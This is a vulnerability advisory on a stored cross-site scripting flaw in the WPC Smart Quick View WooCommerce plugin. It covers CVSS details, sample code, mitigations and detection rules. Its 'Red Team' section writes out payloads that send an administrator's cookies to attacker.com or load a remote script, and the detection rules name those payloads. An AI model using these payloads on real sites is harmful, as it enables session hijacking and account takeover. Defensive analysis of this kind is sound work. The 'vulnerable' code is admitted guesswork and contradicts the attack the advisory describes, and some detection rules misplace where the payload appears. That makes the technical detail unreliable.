CVE-2025-8618

Executive Summary

CVE-2025-8618 is a Stored Cross-Site Scripting (XSS) vulnerability in the WPC Smart Quick View for WooCommerce WordPress plugin, affecting all versions up to and including 4.2.1. The flaw resides in the woosq_btn shortcode, where user-supplied attributes are not properly sanitized or escaped. This allows authenticated attackers with at least Contributor-level access to inject arbitrary web scripts. When a user (including administrators) visits a page containing the injected shortcode, the malicious script executes in their browser, potentially leading to session hijacking, credential theft, or defacement.

This vulnerability is specific to the WordPress ecosystem and does not affect the underlying web server (Apache/Nginx). The plugin is widely used in WooCommerce stores, making this a significant supply chain risk for e-commerce sites.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. There is no NPM, PyPI, Go, or Ruby package involved. However, the plugin is a third-party component within the WordPress ecosystem, and its compromise can lead to cascading attacks on the entire site. Administrators should treat this as a critical supply chain issue and verify the integrity of the plugin installation.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level)
• User Interaction: None
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the ease of exploitation and the potential for privilege escalation (e.g., stealing admin cookies) elevate the real-world risk. The vulnerability is unpatched, increasing urgency.

Deep Dive & Mechanics

The vulnerability exists in the woosq_btn shortcode handler. The plugin fails to properly sanitize and escape user-supplied attributes before rendering them in the HTML output. An attacker with Contributor-level access can create a post or page containing a malicious shortcode like:

[woosq_btn id="123" class="xss" onclick="alert('XSS')"]

When the shortcode is processed, the onclick attribute is injected directly into the HTML without escaping. This allows the attacker to execute arbitrary JavaScript in the context of any user viewing the page.

The attack flow:

1. Attacker logs in with Contributor-level credentials.
2. Attacker creates a new post or page, or edits an existing one.
3. Attacker inserts the malicious shortcode with a crafted attribute (e.g., onclick, onmouseover, or a src attribute pointing to an external script).
4. The shortcode is stored in the database.
5. When an administrator or other user visits the page, the script executes.

Vulnerable vs. Patched Code

Vulnerable Code (<= 4.2.1): The shortcode handler likely uses shortcode_atts() but does not escape the output of user-supplied attributes. Example vulnerable pattern:

function woosq_btn_shortcode($atts) {
    $atts = shortcode_atts(array('id' => '', 'class' => ''), $atts);
    return '<button class="woosq-btn ' . $atts['class'] . '" data-id="' . $atts['id'] . '">Quick View</button>';
}

Patched Code (Hypothetical): A proper fix would escape all user-supplied attributes using esc_attr():

function woosq_btn_shortcode($atts) {
    $atts = shortcode_atts(array('id' => '', 'class' => ''), $atts);
    return '<button class="woosq-btn ' . esc_attr($atts['class']) . '" data-id="' . esc_attr($atts['id']) . '">Quick View</button>';
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with WPC Smart Quick View plugin <= 4.2.1
• Contributor-level account or higher

Step-by-step exploitation:

1. Log in to WordPress as a Contributor.
2. Create a new post or page.
3. Insert the following shortcode into the content:

   [woosq_btn id="1" class="xss" onclick="fetch('https://attacker.com/steal?cookie='+document.cookie)"]
   

4. Publish the post.
5. When an administrator visits the post, the script executes, sending their cookies to the attacker's server.

Alternative payload (self-executing):

[woosq_btn id="1" class="xss" src="https://attacker.com/evil.js"]

If the plugin outputs the src attribute without escaping, this will load an external script.

Blue Team (Detection & Hardening)

Detection:

• Monitor for posts/pages containing the woosq_btn shortcode with suspicious attributes (e.g., onclick, onerror, src pointing to external domains).
• Use the detection rules below.

Hardening:

• Disable the plugin until a patch is released.
• Restrict Contributor-level access to trusted users only.
• Implement a Web Application Firewall (WAF) rule to block malicious shortcode attributes.
• Use a WordPress security plugin that scans for XSS payloads.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/woo-smart-quick-view/ (entire plugin directory)
• Database: Posts/pages containing [woosq_btn with attributes like onclick, onerror, onmouseover, or src pointing to external URLs.
• Network: Outbound connections to suspicious domains from the WordPress admin interface.
• Logs: WordPress audit logs showing creation/editing of posts by Contributor-level users with unusual shortcode usage.

Detection Engineering

YARA Rule

rule CVE_2025_8618_WPC_Smart_Quick_View_XSS {
    meta:
        description = "Detects malicious shortcode attributes in WPC Smart Quick View plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-8618"
    strings:
        $shortcode = /\[woosq_btn[^\]]*?(on\w+|src|href)=["']/ nocase
        $payload = /(onclick|onerror|onmouseover|onload|src|href)\s*=\s*["'](javascript|http|https)/ nocase
    condition:
        $shortcode and $payload
}

Sigma Rule

title: CVE-2025-8618 - Stored XSS via WPC Smart Quick View Shortcode
id: 8a7b3c2d-1e5f-4a6b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects posts/pages containing malicious woosq_btn shortcode attributes
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: 'woosq_btn'
        http.url|re: '(on\w+|src|href)=["\'](javascript|http|https)'
    condition: selection
falsepositives:
    - Legitimate use of external images in shortcode (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-8618 - WPC Smart Quick View Stored XSS"; flow:to_server,established; content:"woosq_btn"; http_uri; pcre:"/(on\w+|src|href)=[\x22\x27](javascript|http|https)/Ui"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until an official patch is released.
2. Review all posts/pages for malicious shortcode usage. Use the YARA rule above to scan the database.
3. Reset passwords for all Contributor-level accounts if compromise is suspected.

Long-term Mitigation:

• Monitor the plugin's official page for updates.
• Implement a Content Security Policy (CSP) to restrict inline script execution.
• Use a WordPress security plugin with XSS protection.
• Enforce the principle of least privilege: limit Contributor-level access to trusted users only.

Patch Status: UNKNOWN / UNPATCHED. The vendor (Wpclever) has not released a fix. Consider forking the plugin or applying a temporary patch using the code snippet in the "Vulnerable vs. Patched Code" section.

Valters IT - DevSecOps & Cyber Threat Intelligence